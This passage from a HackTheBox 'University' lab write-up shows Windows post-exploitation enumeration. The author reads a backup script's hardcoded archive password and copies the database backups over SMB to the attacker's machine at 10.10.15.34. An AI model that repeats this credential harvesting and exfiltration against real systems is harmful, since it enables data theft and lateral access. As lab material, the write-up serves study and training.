ScheduledTask


A scheduled task was discovered; \DB Backup

DB Backup


PS C:\Web\University> schtasks /QUERY /TN "\DB Backup" /V /FO LIST
 
Folder: \
HostName:                             DC
TaskName:                             \DB Backup
Next Run Time:                        11/25/2024 5:19:27 PM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        11/30/1999 12:00:00 AM
Last Result:                          267011
Author:                               UNIVERSITY\Administrator
Task To Run:                          powershell -ExecutionPolicy ByPass -File "C:\Web\DB Backups\db-backup-automator.ps1"
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          WAO
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Monthly
Start Time:                           5:19:27 PM
Start Date:                           1/16/2023
End Date:                             N/A
Days:                                 25
Months:                               Every month
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled

C:\Web\DB Backups\db-backup-automator.ps1

C:\Web\DB Backups\db-backup-automator.ps1


PS C:\Web\University> cat "C:\Web\DB Backups\db-backup-automator.ps1"
 
$sourcePath = "C:\Web\University\db.sqlite3"
$destinationPath = "C:\Web\DB Backups\"
$7zExePath = "C:\Program Files\7-Zip\7z.exe"
 
$zipFileName = "DB-Backup-$(Get-Date -Format 'yyyy-MM-dd').zip"
$zipFilePath = Join-Path -Path $destinationPath -ChildPath $zipFileName
$7zCommand = "& `"$7zExePath`" a `"$zipFilePath`" `"$sourcePath`" -p'WebAO1337'"
Invoke-Expression -Command $7zCommand

The PowerShell script generates an archive of the C:\Web\University\db.sqlite3 file with a supplied password; WebAO1337 I will check for password reuse

Backup


PS C:\Web\University> ls "C:\Web\DB Backups\"
ls "C:\Web\DB Backups\"
 
 
    Directory: C:\Web\DB Backups
 
 
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        1/25/2023  12:03 AM          24215 DB-Backup-2023-01-25.zip                                              
-a----        2/25/2023  12:03 AM          24215 DB-Backup-2023-02-25.zip                                              
-a----        3/25/2023  12:03 AM          24215 DB-Backup-2023-03-25.zip                                              
-a----        4/25/2023  12:04 AM          24215 DB-Backup-2023-04-25.zip                                              
-a----        5/25/2023  12:04 AM          24215 DB-Backup-2023-05-25.zip                                              
-a----        6/25/2023  12:04 AM          24215 DB-Backup-2023-06-25.zip                                              
-a----        7/25/2023  12:04 AM          24215 DB-Backup-2023-07-25.zip                                              
-a----        8/25/2023  12:04 AM          24215 DB-Backup-2023-08-25.zip                                              
-a----        9/25/2023  12:05 AM          24215 DB-Backup-2023-09-25.zip                                              
-a----       10/25/2023  12:05 AM          24215 DB-Backup-2023-10-25.zip                                              
-a----       11/25/2023  12:05 AM          24215 DB-Backup-2023-11-25.zip                                              
-a----       12/25/2023  12:05 AM          24215 DB-Backup-2023-12-25.zip                                              
-a----        1/25/2024  12:06 AM          24215 DB-Backup-2024-01-25.zip                                              
-a----        2/25/2024  12:06 AM          24215 DB-Backup-2024-02-25.zip                                              
-a----        3/25/2024  12:07 AM          24215 DB-Backup-2024-03-25.zip                                              
-a----        4/25/2024  12:07 AM          24215 DB-Backup-2024-04-25.zip                                              
-a----       10/14/2024   9:35 AM            386 db-backup-automator.ps1                                               

The DB Backup directory contains a total of 16 ZIP archives The loaded database has already been enumerated Interestingly, they all have the same length.

┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ mkdir DB\ Backups 
 
PS C:\Web\DB Backups> copy *.zip "\\10.10.15.34\smb\DB Backups\"

Transferring ZIP archives over SMB

┌──(kali㉿kali)-[~/…/htb/labs/university/DB Backups]
└─$ unzip DB-Backup-2023-01-25.zip
Archive:  DB-Backup-2023-01-25.zip
[DB-Backup-2023-01-25.zip] db.sqlite3 password: WebAO1337
   skipping: db.sqlite3              incorrect password

WebAO1337 is not the password I will check for password reuse